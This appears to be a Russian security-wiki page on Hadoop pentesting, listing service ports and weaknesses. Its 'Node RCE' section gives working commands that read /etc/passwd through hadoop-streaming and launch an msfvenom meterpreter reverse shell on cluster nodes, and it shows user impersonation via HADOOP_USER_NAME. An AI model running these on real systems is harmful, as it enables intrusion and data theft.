Hadoop — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (DataNode WebUI)
м (Общее)
Строка 56: Строка 56:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop*" АДРЕСА
 
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop*" АДРЕСА
 +
</syntaxhighlight>
 +
 +
== Общие атаки ==
 +
 +
=== Node RCE ===
 +
 +
Для этого требуется получить конфиг и настроить hadoop cli.
 +
 +
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar
 +
 +
Создаем задачу MapReduce:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
hadoop jar <path_to_hadoop_streaming.jar> \
 +
-input /non_empty_file_on_HDFS \
 +
-output /output_directory_on_HDFS \
 +
-mapper "/bin/cat /etc/passwd" \
 +
-reducer NONE
 +
</syntaxhighlight>
 +
 +
Читаем результат команды:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
hadoop fs –ls /output_directory_on_HDFS
 +
hadoop fs –cat /output_directory_on_HDFS/part-00000
 +
</syntaxhighlight>
 +
 +
Также результат команды можно увидеть в WebUI в консоли созданной задачи.
 +
 +
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.
 +
 +
 +
Бонус: эксплоит можно сгенерировать с msfvenom:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload
 +
 +
hadoop jar <path_to_hadoop_streaming.jar>
 +
-input /non_empty_file_on_HDFS \
 +
-output /output_directory_on_HDFS \
 +
-mapper "./msf.payload" \
 +
-reducer NONE \
 +
-file msf.payload \
 +
-background
 
</syntaxhighlight>
 
</syntaxhighlight>
  

Версия 19:27, 1 сентября 2022

Содержание

Общее

Аутентификация

По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.

Шифрование

По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).

NameNode

Для общения с NameNode могут быть использованы следующие механизмы аутентификации:

- GSS-API

- Digest-MD5

Web Apps

Как правило, используется SSL/TLS.


DataNodes

Шифрование может быть на 2 уровнях:

1. обмен ключами используя 3DES или RC4

2. Шифрование используя AES 128(default)/192/256.

At-rest

Означает хранилище файлов. Если кратко:

  • Данные шифруются DEK-ключем (Data Encryption Key)
  • DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)


Обратный процесс:

  • EDEK запрашивается у NameNode
  • Запрашиваем KMS расшифровать EDEK - получаем DEK
  • Расшифровываем или зашифровываем данные с DEK.


Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.

Поиск сервисов

nmap

nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop*" АДРЕСА

Общие атаки

Node RCE

Для этого требуется получить конфиг и настроить hadoop cli.

path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar

Создаем задачу MapReduce:

 hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE

Читаем результат команды:

hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000

Также результат команды можно увидеть в WebUI в консоли созданной задачи.

Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.


Бонус: эксплоит можно сгенерировать с msfvenom:

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload

hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background

HDFS

HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.

Сервисы

MasterNode WebUI

Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.

Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).

MasterNode Metadata Service

Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.

Команды для взаимодействия:

# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp

DataNode WebUI

Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.

Доступно по пути /browseDirectory.jsp


hdfsbrowser.py

Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :

# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10

Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.

hadoop cli

Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:

export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000

Для этого может потребоваться конфиг hadoop (в основной главе)

DataNode Data Transfer

Сервис для передачи данных в DataNode. Использует порт 50010


# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>

DataNode Metadata Service

Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.


Secondary Node Checkpoint Service

Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).

YARN

Интерфейсы (сервисы)

Application Manager

Порт(tcp): 8032

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.address

Scheduler

Порт(tcp): 8030

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.scheduler.address

ResourceManager Web Application

Порт(tcp): 8088, 8090

Протокол: http(8088), https(8090)

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address

ResourceManager Tracker

Порт(tcp): 8031

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.resource-tracker.address


ResourceManager Admin

Порт(tcp): 8033

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.admin.address

NodeManager СontainerManager

Порт(tcp): 0

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.address

NodeManager Localizer

Порт(tcp): 8040

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.localizer.address

NodeManager Collector Service

Порт(tcp): 8048

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.collector-service.address

NodeManager WebUI

Порт(tcp): 8042, 8044

Протокол: http(8042), https(8044)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address

NodeManager Timeline RPC

Порт(tcp): 10200

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.address

NodeManager Timeline WebUI

Порт(tcp): 8188, 8190

Протокол: http(8188), https(8190)

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address

SharedCacheManager Admin

Порт(tcp): 8047

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.admin.address

SharedCacheManager WebUI

Порт(tcp): 8788

Протокол: ???(http)

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.webapp.address

SharedCacheManager Node Manager

Порт(tcp): 8046

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.uploader.server.address

SharedCacheManager Client

Порт(tcp): 8045

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.sharedcache.client-server.address

NodeManager AMRMProxyService

Порт(tcp): 8049

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.amrmproxy.address

Router WebUI

Порт(tcp): 8089, 8091

Протокол: http(8089), https(8091)

Аутентификация: ???

Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address

HttpFS (Hadoop HDFS over HTTP)

Порт(tcp): 14000, 14001

Протокол: http(14000), 14001(https)

Аутентификация: ???

Apache HBASE

ZooKeeper

Apache Ambari

Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.

Из интересного:

- Все могут авторизоваться (даже стандартные юзеры)

- Нет защиты (directory listing, no cookie flags, no CSRF)

- CVE-2015-1775 - /logs/ логи


Сервисы

WebUI

Общение по протоколу http (порт 8080) и https (порт 8440).

Registration/Heartbeat

Общение по протоколу https на порту 8441.

Agent

Порт 8670/tcp используется для Ping.

Apache Spark

Apache Kafka/Storm

Apache HIVE / DRILL

Mahout

Apache Solr / Lucene

Apache Ranger

Компонент безопасности Hadoop с открытым исходным кодом.

Из интересного:

- Поддержка Kerberos

- REST API

- Журналы аудита

- Модель разрешений на основе политики доступа (политики, юзеры, группы)


Интересные ИБ-проблемы:

- Slow HTTP DOS

- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)

- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий

- CVE-2015-0265 - XSS в UserAgent


TODO: изучить как работает


https://ranger.apache.org/apidocs/index.html - API документация

Сервисы

Admin WebUI

Порт: 6080, 6182

Протокол: http(6180),https(6182)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

UNIX Auth Service

Порт: 5151

Протокол: SSL/TCP

Параметр конфига: ranger.usersync.port

Ranger KMS

Порт: 9292, 9293

Протокол: http(9292), https(9293)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Solr Audit

Порт: 6083, 6183

Протокол: http(6083), https(6183)

Параметр конфига: ranger-admin (???)

OOZIE

Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.

Сервисы

Web Console

Порт: 11000, 11443

Протокол: HTTP(11000), HTTPS(11443)


= Admin service

Порт: 11001

Протокол: ???

PIG

Apache Hue

Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.

В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.

MapReduce

Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера

Сервисы

Jobhistory

Порт: 10020

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.address

JobTracker

Порт: 8021

Протокол: IPC

Аутентификация: ???

Параметр конфига: mapred.job.tracker


Доступно только в MapReduce v1

JobTracker WebUI

Порт: 50030

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.job.tracker.http.address


Доступно только в MapReduce v1

Jobhistory WebUI

Порт: 19888, 19890

Протокол: HTTP(19888), HTTPS(19890)

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address

Доступен только в MapReduce v2

Jobhistory Shufflee

Порт: 13562

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.shuffle.port

Jobhistory Shufflee WebUI

Порт: 19890

Протокол: HTTPS

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.https.address


TaskTracker WebUI

Порт: 50060

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.task.tracker.http.address



Доступно только в MapReduce v1


History Server WebUI

Порт: 51111

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.history.server.http.address

Cloudera

Экосистема Hadoop от компании Cloudera

Сервисы

HUE

Работает на порту 8888 по протоколу HTTP.

Manager

Работает на порту 7180(http) и 7183(https).


Утилиты

Ссылки

Видео

Статьи

Презентации

https://2015.zeronights.org/assets/files/03-Kaluzny.pdf

https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf